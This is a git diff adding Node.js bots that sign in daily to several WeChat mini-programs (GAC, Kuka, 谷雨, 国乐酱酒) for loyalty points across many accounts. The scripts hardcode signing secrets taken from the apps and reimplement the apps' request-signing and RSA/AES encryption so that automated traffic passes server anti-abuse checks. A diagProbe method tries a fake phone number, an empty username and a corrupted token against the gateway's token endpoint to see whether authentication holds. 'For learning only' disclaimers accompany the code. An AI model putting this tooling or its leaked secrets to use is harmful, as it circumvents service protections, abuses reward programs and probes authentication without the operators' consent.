let em = Buffer.from(hex, "hex"); + if (em.length < priKlen) em = Buffer.concat([Buffer.alloc(priKlen - em.length, 0), em]); + if (em.length < 11 || em[0] !== 0x00 || em[1] !== 0x02) throw new Error("RSA解密填充头错误"); + let i = 2; + while (i < em.length && em[i] !== 0x00) i++; + if (i < 10 || i >= em.length) throw new Error("RSA解密填充分隔错误"); + return em.slice(i + 1).toString("utf8"); +} + +const rand = (n = 6) => { let s = ""; while (s.length < n) s += Math.random().toString(36).slice(2); return s.slice(0, n); }; +const md5 = (s) => crypto.createHash("md5").update(s).digest("hex"); + +function aesEncrypt(obj) { + const key = rand(16), iv = rand(16), keyiv = `${key}@DS@${iv}`; + const cipher = crypto.createCipheriv("aes-128-cbc", Buffer.from(key), Buffer.from(iv)); + let enc = cipher.update(typeof obj === "string" ? obj : JSON.stringify(obj), "utf8", "base64"); + enc += cipher.final("base64"); + return { encryptKey: rsaEncryptPkcs1V15(keyiv), encryptData: enc }; +} +function aesDecrypt(encData, encKey) { + const keyiv = rsaDecryptPkcs1V15(encKey); + const [key, iv] = keyiv.split("@DS@"); + const dec = crypto.createDecipheriv("aes-128-cbc", Buffer.from(key), Buffer.from(iv)); + let out = dec.update(encData, "base64", "utf8"); + out += dec.final("utf8"); + return out; +} + +function readCache() { + try { if (!fs.existsSync(CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function parseJwt(token) { + try { + const raw = String(token || "").replace(/^Bearer\s+/i, "").trim(); + const p = raw.split(".")[1]; + return JSON.parse(Buffer.from(p.replace(/-/g, "+").replace(/_/g, "/"), "base64").toString("utf8")); + } catch { return {}; } +} + +async function jreq(method, url, { headers = {}, data } = {}) { + const res = await axios.request({ + method, url, + data: data === undefined ? undefined : (typeof data === "string" ? data : JSON.stringify(data)), + headers, timeout: 25000, validateStatus: () => true, + }); + return { status: res.status, data: res.data }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.xcxToken = ""; + this.gwToken = ""; + this.gacOpenId = ""; + this.deviceId = md5(this.account.openid || rand(16)).slice(0, 16); + this.unregistered = false; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // 第一段:小程序 code 登录 + async xcxLogin(code) { + const url = `${XCX_BASE}/auth/login?code=${encodeURIComponent(code)}&clickUrl=${encodeURIComponent("/pages/index/index")}&clickId=`; + const { data } = await jreq("POST", url, { + data: { code, clickUrl: "/pages/index/index", clickId: "" }, + headers: { "User-Agent": UA, "content-type": "application/json", apiVersion: API_VERSION, Referer: REFERER }, + }); + if (data?.header?.code !== 10000000) { + const m = data?.header?.message || short(data); + // 「请先同意隐私政策」= 需在小程序里一次性授权隐私协议(wx用户交互,无法脚本化);未注册类同样归 ⚠️ + if (/隐私政策|隐私协议|同意.*协议|未注册|未绑定|未实名|完善|注册会员|绑定手机/.test(String(m))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${m}`); + } + throw new Error(`小程序登录失败: ${m}`); + } + if (!data?.body?.token) throw new Error(`小程序登录返回无token: ${short(data?.body)}`); + this.xcxToken = data.body.token; + this.gacOpenId = data.body.openId || ""; + this.log(`小程序登录成功 openId=${this.gacOpenId || "?"} tokenLen=${this.xcxToken.length}`); + if (DIAG) this.log(`[DIAG] xcxToken jwt=${short(parseJwt(this.xcxToken))}`); + return data.body; + } + // 第二段:换网关 token(返回解密后的 plain,供上层判断成功/未注册) + async exchangeGwRaw(username, password) { + const timestamp = Date.now(); + const nonce = rand(6); + const sig = md5(`${timestamp}${BASIC_AUTH}${nonce}${APP_ID}${APP_SIG_SECRET}`); + const body = aesEncrypt({ grant_type: "password", username, password, auth_type: "newminipg" }); + const { data } = await jreq("POST", `${GW_BASE}/ha/iam/api/sec/oauth/token`, { + data: body, + headers: { + "User-Agent": UA, "content-type": "application/json", Authorization: BASIC_AUTH, + appId: APP_ID, timestamp, xweb_xhr: "1", nonce, sig, deviceId: this.deviceId, + operateSystem: "h5", appVersion: "", Referer: REFERER, + }, + }); + let plain = data; + if (data?.encryptData && data?.encryptKey) { + try { plain = JSON.parse(aesDecrypt(data.encryptData, data.encryptKey)); } + catch (e) { throw new Error(`网关token响应解密失败: ${e.message} raw=${short(data)}`); } + } + return plain; + } + async exchangeGw() { + const plain = await this.exchangeGwRaw(OAUTH_USERNAME, this.xcxToken); + const code = plain?.header?.code; + const msg = plain?.header?.message || plain?.header?.msg || ""; + if (code !== 10000000 || !plain?.body?.accessToken) { + // 登录链已通(拿到 xcxToken),但网关侧无账号 => 未注册/未绑定 + if (/未注册|未绑定|不存在|未实名|no.?account|not.?found|会员|注册/i.test(String(msg)) || code === 10000404 || code === 10001002) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:网关侧无账号(${code} ${msg})`); + } + throw new Error(`换取网关token失败: code=${code} msg=${msg} ${short(plain)}`); + } + this.gwToken = plain.body.accessToken; + this.log(`网关token成功 tokenLen=${String(this.gwToken).length}`); + if (DIAG) this.log(`[DIAG] gwToken jwt=${short(parseJwt(this.gwToken))}`); + return this.gwToken; + } + // 认证后的网关请求 + async gwReq(method, apiPath, query = {}, body = undefined) { + const qs = Object.keys(query).length ? `?${new URLSearchParams(query).toString()}` : ""; + const ts = Date.now(); + const nonce = rand(6); + const raw = String(this.gwToken).replace(/^Bearer\s+/i, "").trim(); + const sig = md5(`${ts}${raw}${nonce}${APP_ID}${APP_SIG_SECRET}`); + const headers = { + "content-type": "application/json", appId: APP_ID, Authorization: this.gwToken, + timestamp: String(ts), xweb_xhr: "1", sig, nonce, appVersion: "3.22", + operateSystem: "h5", deviceId: this.deviceId, "User-Agent": UA, Referer: REFERER, + }; + const send = method === "GET" ? undefined : (Object.keys(body || {}).length ? aesEncrypt(body) : {}); + const { data } = await jreq(method, `${GW_BASE}${apiPath}${qs}`, { headers, data: send }); + let d = data; + if (d?.encryptData && d?.encryptKey) d = JSON.parse(aesDecrypt(d.encryptData, d.encryptKey)); + return d; + } + async attendance() { + // 本周一~周日范围(原脚本用 ISO 日期) + const n = new Date(Date.now() + 8 * 3600 * 1000); + const day = n.getUTCDay(); + const s = new Date(n); s.setUTCDate(n.getUTCDate() - day); + const e = new Date(s); e.setUTCDate(s.getUTCDate() + 6); + const f = (x) => x.toISOString().slice(0, 10); + const d = await this.gwReq("GET", "/main/api/marketing/lgn/sec/usersign/getAttendanceBook", { beginTime: f(s), endTime: f(e), noLoad: "true" }); + if (d?.header?.code !== 10000000) throw new Error(`查签到本失败: ${d?.header?.code} ${d?.header?.message || short(d)}`); + return d.body || {}; + } + async doSignin() { + const d = await this.gwReq("POST", "/main/api/marketing/lgn/task/sec/signinV2", { noLoad: "true", noTip: "true" }, { gtmcUid: "", fromApplication: "0" }); + return d; + } + async sign() { + let book; + try { book = await this.attendance(); } + catch (e) { book = null; this.log(`查签到本异常,直接尝试签到(${e.message})`); } + if (book && book.todayHasSigned) return this.log(`✅ 今日已签到${book.continuousDays ? `,已连续 ${book.continuousDays} 天` : ""}`); + + const r = await this.doSignin(); + if (r?.header?.code === 10000000) { + const pt = r.body?.point ?? r.body?.integral ?? r.body?.score; + return this.log(`✅ 签到成功${pt !== undefined ? `,+${pt}` : ""}`); + } + const msg = r?.header?.message || r?.header?.msg || short(r); + if (/已签|签到过|重复|已完成|repeat/i.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + const exp = parseJwt(cached.gwToken || "").exp || 0; + if (cached.gwToken && exp > Math.floor(Date.now() / 1000) + 60) { + this.gwToken = cached.gwToken; + try { const b = await this.attendance(); this.log("使用缓存token"); return b; } + catch (e) { this.log(`缓存token失效,重新登录(${e.message})`); this.gwToken = ""; } + } + const code = await this.getCode(); + await this.xcxLogin(code); + + if (DIAG) await this.diagProbe(); + + await this.exchangeGw(); + const cache = readCache(); + cache[this.account.openid] = { xcxToken: this.xcxToken, gwToken: this.gwToken, gacOpenId: this.gacOpenId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + // 诊断:用同一 xcxToken 换不同 username / 破坏 password,判断 username(手机号) 是否 load-bearing + async diagProbe() { + const idOf = (p) => { const j = parseJwt(p?.body?.accessToken || ""); return `code=${p?.header?.code} msg=${p?.header?.message || ""} jwt=${short(j, 260)}`; }; + try { this.log(`[DIAG] A 原username+真token => ${idOf(await this.exchangeGwRaw(OAUTH_USERNAME, this.xcxToken))}`); } catch (e) { this.log(`[DIAG] A err ${e.message}`); } + try { this.log(`[DIAG] B 假username(13000000000)+真token => ${idOf(await this.exchangeGwRaw("13000000000", this.xcxToken))}`); } catch (e) { this.log(`[DIAG] B err ${e.message}`); } + try { this.log(`[DIAG] C 空username+真token => ${idOf(await this.exchangeGwRaw("", this.xcxToken))}`); } catch (e) { this.log(`[DIAG] C err ${e.message}`); } + try { this.log(`[DIAG] D 原username+破坏token => ${idOf(await this.exchangeGwRaw(OAUTH_USERNAME, this.xcxToken + "x"))}`); } catch (e) { this.log(`[DIAG] D err ${e.message}`); } + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + const cause = String(e.message).replace(/^NO_ACCOUNT:/, ""); + if (/隐私/.test(cause)) this.log(`⚠️ 该微信号需先在广汽小程序里同意隐私政策/授权一次(${cause}),这是一次性用户操作,之后再跑即可`); + else this.log(`⚠️ 该微信号还没在广汽注册/绑定会员(${cause}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/gujiajiaju.js b/wxapp/gujiajiaju.js new file mode 100644 index 00000000..017a1f49 --- /dev/null +++ b/wxapp/gujiajiaju.js @@ -0,0 +1,328 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 顾家小程序签到 +cron: 41 8 * * * +------------------------------------------ +变量名:gujiajiaju +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("顾家小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const crypto = require("crypto"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx0770280d160f09fe"; +const PAGE_VERSION = "286"; +const API_BASE = "https://mc.kukahome.com/club-server"; +const INTEGRAL_BASE = "https://mc.kukahome.com/integral-server"; +const BRAND_CODE = "K001"; +const SMALL_APPLICATION_ID = "667516"; +const SMALL_CRYPTO = "FH3yRrHG2RfexND8"; +const VERSION_NUMBER = "2.8.6"; +const TOKEN_CACHE_FILE = path.join(__dirname, "gujiajiaju_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "gujiajiaju"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function md5(input) { + return crypto.createHash("md5").update(String(input)).digest("hex"); +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function isObject(val) { + return Object.prototype.toString.call(val) === "[object Object]"; +} + +function buildParameterBase(data) { + if (!data) return null; + if (Array.isArray(data) || typeof data === "string") return null; + if (!isObject(data)) return null; + const keys = Object.keys(data).sort((a, b) => { + const ac = [...a].map((ch) => ch.charCodeAt(0)); + const bc = [...b].map((ch) => ch.charCodeAt(0)); + for (let i = 0; i < Math.min(ac.length, bc.length); i++) { + if (ac[i] !== bc[i]) return ac[i] - bc[i]; + } + return ac.length - bc.length; + }); + const pairs = []; + for (const key of keys) { + const value = data[key]; + if (value === null || value === undefined || value === "") continue; + if (Array.isArray(value)) continue; + if (typeof value === "object" && value !== null) { + pairs.push(`${key}=${JSON.stringify(value)}`); + continue; + } + if (typeof value === "number" && value === 0) { + pairs.push(`${key}=0`); + continue; + } + pairs.push(`${key}=${value}`); + } + return pairs.length ? pairs.join("&") : null; +} + +function buildParameterSign(data, timestamp) { + const base = buildParameterBase(data); + if (!base) return ""; + const salt = String(timestamp).substring(4, 10); + return md5(md5(base) + salt); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.tmpToken = ""; + this.accessToken = ""; + this.memberId = ""; + this.userInfo = {}; + } + + cacheKey() { + return this.openid; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.accessToken || !this.memberId) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + accessToken: this.accessToken, + memberId: this.memberId, + nickName: this.userInfo.nickName || "", + mobile: this.userInfo.mobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + clearCachedToken() { + const cache = readTokenCache(); + delete cache[this.cacheKey()]; + writeTokenCache(cache); + this.tmpToken = ""; + this.accessToken = ""; + this.memberId = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.accessToken = data.accessToken || data.token || this.accessToken; + this.memberId = String(data.memberId || this.memberId || ""); + } + + async request({ method = "POST", url, data = {}, params = {}, withAuth = true, withTmpToken = true }) { + const timestamp = Date.now(); + const sign = md5(`${SMALL_APPLICATION_ID}${SMALL_CRYPTO}${timestamp}`).toLowerCase(); + const bodyForSign = method.toUpperCase() === "GET" ? params : data; + const parameterSign = buildParameterSign(bodyForSign, timestamp); + const headers = { + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + Accept: "application/json, text/plain, */*", + "Content-Type": "application/json", + "X-Customer": this.memberId || "", + brandCode: BRAND_CODE, + appid: SMALL_APPLICATION_ID, + sign, + timestamp, + versionNumber: VERSION_NUMBER, + }; + if (parameterSign) headers.parameterSign = parameterSign; + if (withAuth && this.accessToken) headers.AccessToken = this.accessToken; + if (withTmpToken && this.tmpToken) headers.tmpToken = this.tmpToken; + + const res = await axios.request({ + method, + url, + data, + params, + headers, + timeout: 20000, + validateStatus: () => true, + }); + + if (res.status !== 200) { + throw new Error(`HTTP ${res.status}: ${JSON.stringify(res.data)}`); + } + const result = res.data || {}; + if (result.code !== undefined && ![0, 401, 402, 515].includes(Number(result.code))) { + throw new Error(result.message || result.msg || JSON.stringify(result)); + } + return result; + } + + async getWxCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async login() { + const code = await this.getWxCode(); + const identify = await this.request({ + method: "POST", + url: `${API_BASE}/api/user/identify`, + params: { code }, + withAuth: false, + withTmpToken: false, + }); + if (identify.code !== 0 || !identify.data) { + throw new Error(`identify失败: ${identify.message || JSON.stringify(identify)}`); + } + if (Number(identify.data.status) !== 4) { + throw new Error(`登录状态异常: status=${identify.data.status}`); + } + this.tmpToken = identify.data.token || ""; + if (!this.tmpToken) throw new Error("identify未返回tmpToken"); + + const auth = await this.request({ + method: "POST", + url: `${API_BASE}/api/user/authorizeLogin`, + data: { source: "顾家小程序", contentName: "" }, + withAuth: false, + withTmpToken: true, + }); + if (auth.code !== 0 || !auth.data?.token) { + throw new Error(`authorizeLogin失败: ${auth.message || JSON.stringify(auth)}`); + } + this.accessToken = auth.data.token; + this.memberId = String(auth.data.memberId || ""); + this.tmpToken = ""; + } + + async getUserInfo() { + const info = await this.request({ + method: "POST", + url: `${API_BASE}/api/user/info`, + data: {}, + withAuth: true, + withTmpToken: false, + }); + if (!info.data) throw new Error("user/info返回为空"); + this.userInfo = info.data; + this.applyToken(info.data); + const name = this.userInfo.nickName || this.userInfo.name || this.memberId || "未知"; + $.log(`账号[${this.index}] 用户: ${name}`); + } + + async ensureLogin() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + try { + await this.getUserInfo(); + return; + } catch { + this.clearCachedToken(); + $.log(`账号[${this.index}] 缓存失效,重新登录`); + } + } + await this.login(); + await this.getUserInfo(); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功 memberId=${this.memberId}`); + } + + async checkCalendar() { + try { + const ret = await this.request({ + method: "GET", + url: `${INTEGRAL_BASE}/user/sign/calendar`, + params: {}, + }); + $.log(`账号[${this.index}] 日历查询: code=${ret.code}`); + } catch (e) { + $.log(`账号[${this.index}] 日历查询失败: ${e.message || e}`); + } + } + + async sign() { + try { + const ret = await this.request({ + method: "POST", + url: `${INTEGRAL_BASE}/scenePoint/scene/point`, + data: { + scene: "sign", + brandCode: BRAND_CODE, + }, + }); + if (ret.code === 0) { + $.log(`账号[${this.index}] 签到成功`); + return; + } + const msg = ret.message || ret.msg || JSON.stringify(ret); + if (/已签|重复|already|今日/.test(msg)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + throw new Error(msg); + } catch (e) { + const msg = e.message || String(e); + if (/已签|重复|already|今日/.test(msg)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + throw e; + } + } + + async run() { + try { + await this.ensureLogin(); + await this.checkCalendar(); + await this.sign(); + this.saveCachedToken(); + } catch (e) { + const msg = e.message || String(e); + $.log(`账号[${this.index}] 执行失败: ${msg}`); + if (/401|token|登录|失效|过期/i.test(msg)) this.clearCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/guyu.js b/wxapp/guyu.js new file mode 100644 index 00000000..2167e677 --- /dev/null +++ b/wxapp/guyu.js @@ -0,0 +1,310 @@ + + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * 1 +------------------------------------------ +#Notice: +谷雨 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:guyu 名字 授权中心 里面的openid 多个账号用&分割 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("谷雨小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `guyu`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'https://xxx', + appid: 'wxda948f3be0afc375', + auth: process.env.wx_auth || "", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + this.shopId = '100186753' + this.integralAccount = '' + this.activityId = '' + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + await this.findSignActivity() + await this.signIn() + await this.getUserPoints() + } + async getUserToken(code) { + // 这个接口和其他接口一样要过 sign 校验,直接裸发会被服务端判成 code:996 当前请求异常, + // 所以必须走下面带 sign/ts/starttime 的 request() + let options = { + method: 'POST', + url: 'https://mall-mobile-v6.vecrp.com/mobile/wxAppLogin', + headers: {}, + data: { + "code": "" + code, + "appid": "wxda948f3be0afc375", + "shopId": null, + "envVersion": "release", + "isEnterpriseWx": false, + "scene": 1168, + "referrerInfo": { + "appId": "wxda948f3be0afc375" + } + } + }; + + let { + data: result + } = await this.request(options); + + if (result?.success) { + let info = result.result || {} + this.token = info.mobileToken + if (info.shopId) this.shopId = "" + info.shopId + $.log(`🌸账号[${this.index}] 获取用户Token成功 门店:${info.shopName || this.shopId}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result?.msg || result?.message}❌`) + } + } + sha1(str) { + return require("crypto").createHash("sha1").update(str).digest("hex"); + } + request(options) { + + var sign, + n = void 0 + , d = {}, + l = "R6WbJ830wNsEdjH9GumwKYiYxHz0K9QD", + n = (new Date).getTime(), + d = "post" === options.method || "POST" === options.method ? { + body: JSON.stringify(options.data), + secretKey: l, + ts: n + } : Object.assign({}, options.params, { + secretKey: l, + ts: n + }), + sign = this.sha1(function (e) { + var t, a = []; + for (t in e) { + var r = t + e[t]; + a.push(r) + } + a.sort(); + var u = ""; + return a.map((function (e) { + "" === u ? u = e : u += e + } + )), + u + }(d)) + let baseHeaders = { + host: "mall-mobile-v6.vecrp.com", + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "appid": "wxda948f3be0afc375", + "content-type": "application/json;charset=UTF-8", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027", + "sign": "" + sign, + "starttime": "" + n, + "token": "" + (this.token || ""), + "ts": "" + n, + "x-tracedid": "" + $.uuid(), + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxda948f3be0afc375/65/page-frame.html", + } + options.headers = Object.assign(options.headers, baseHeaders) + + return axios.request(options) + } + // 签到活动是按年新建的(如「签到赚积分-2026年」),写死 activityId 每年都会失效, + // 这里用两个只读查询接口动态拿当前可参与的签到活动(activityType=3) + async findSignActivity() { + try { + let { data: sys } = await this.request({ + method: 'GET', + url: `https://mall-mobile-v6.vecrp.com/mobile/activity/common/queryIntegralSystemList`, + params: { shopId: this.shopId, earnSpendType: 1 }, + headers: {}, + }); + this.integralAccount = (Array.isArray(sys?.result) ? sys.result[0]?.integralAccount : "") || "" + + let { data: list } = await this.request({ + method: 'POST', + url: `https://mall-mobile-v6.vecrp.com/mobile/activity/common/queryActivityList`, + headers: {}, + data: { + earnSpendType: 1, + shopId: this.shopId, + pageNo: 1, + pageSize: 10, + integralAccount: this.integralAccount, + activityType: 3, + }, + }); + let rows = Array.isArray(list?.result) ? list.result : (list?.result?.data || list?.result?.rows || []) + let activity = rows.find((item) => String(item.activityType) === "3" && item.canJoin !== false) + if (activity?.activityId) { + this.activityId = activity.activityId + $.log(`🌸账号[${this.index}] 签到活动:${activity.title || activity.activityId}`) + } else { + $.log(`🌸账号[${this.index}] 未查到可参与的签到活动`) + } + } catch (e) { + $.log(`🌸账号[${this.index}] 查询签到活动异常:${e.message || e}`) + } + } + async signIn() { + if (!this.activityId) { + $.log(`🌸账号[${this.index}] 跳过签到:没有可用的签到活动`) + return + } + // 先查本月已签日期,避免重复提交 + try { + let now = new Date() + let pad = (n) => ("" + n).padStart(2, "0") + let ym = `${now.getFullYear()}-${pad(now.getMonth() + 1)}` + let last = new Date(now.getFullYear(), now.getMonth() + 1, 0).getDate() + let { data: monthInfo } = await this.request({ + method: 'POST', + url: `https://mall-mobile-v6.vecrp.com/mobile/activity/sign/querySignInfoList`, + headers: {}, + data: { activityId: this.activityId, startDate: `${ym}-01`, endDate: `${ym}-${pad(last)}` }, + }); + let signed = monthInfo?.result?.signDateList || [] + if (signed.some((d) => ("" + d).slice(0, 10) === $.time('yyyy-MM-dd'))) { + $.log(`🌸账号[${this.index}] 今日已签到`) + this.isSign = true + return + } + } catch (e) { } + + let options = { + method: 'POST', + url: `https://mall-mobile-v6.vecrp.com/mobile/activity/sign/sign`, + + headers: {}, + data: { + activityId: this.activityId, + shopId: this.shopId, + signDate: $.time(`yyyy-MM-dd`), + } + + }; + let { + data: result + } = await this.request(options); + if (result?.success) { + //打印签到结果 + this.isSign = true + $.log(`🌸账号[${this.index}]` + `签到成功`); + } else if (/已签|重复/.test("" + (result?.msg || ""))) { + this.isSign = true + $.log(`🌸账号[${this.index}] 今日已签到`) + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result?.msg}❌`) + } + + + + + } + async getUserPoints() { + let options = { + method: 'GET', + url: `https://mall-mobile-v6.vecrp.com/mobile/customer/getMyAllPoint`, + params: { + shopId: this.shopId + }, + headers: {}, + + } + let { + data: result + } = await this.request(options); + if (result?.success) { + $.log(`账号[${this.index}]` + `积分:${result.result[0].score}`); + } else { + $.log(`账号[${this.index}] 获取积分-失败:${result.msg}❌`) + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/gyjj.js b/wxapp/gyjj.js new file mode 100644 index 00000000..dfd01e3c --- /dev/null +++ b/wxapp/gyjj.js @@ -0,0 +1,288 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 国乐酱酒小程序 +cron: 30 9 * * * +------------------------------------------ +#Notice: +变量名: gyjj +变量值:wx_server 里的 openid/账号标识,多账号&或换行 +需要配置:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("国乐酱酒"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const ckName = "gyjj"; +const strSplitor = "#"; +const MINI_APP_ID = "wxeff120e4d11594c0"; +const PAGE_VERSION = "87"; +const API_BASE = "https://member.guoyuejiu.com/api"; +const TOKEN_CACHE_FILE = path.join(__dirname, "gyjj_token_cache.json"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 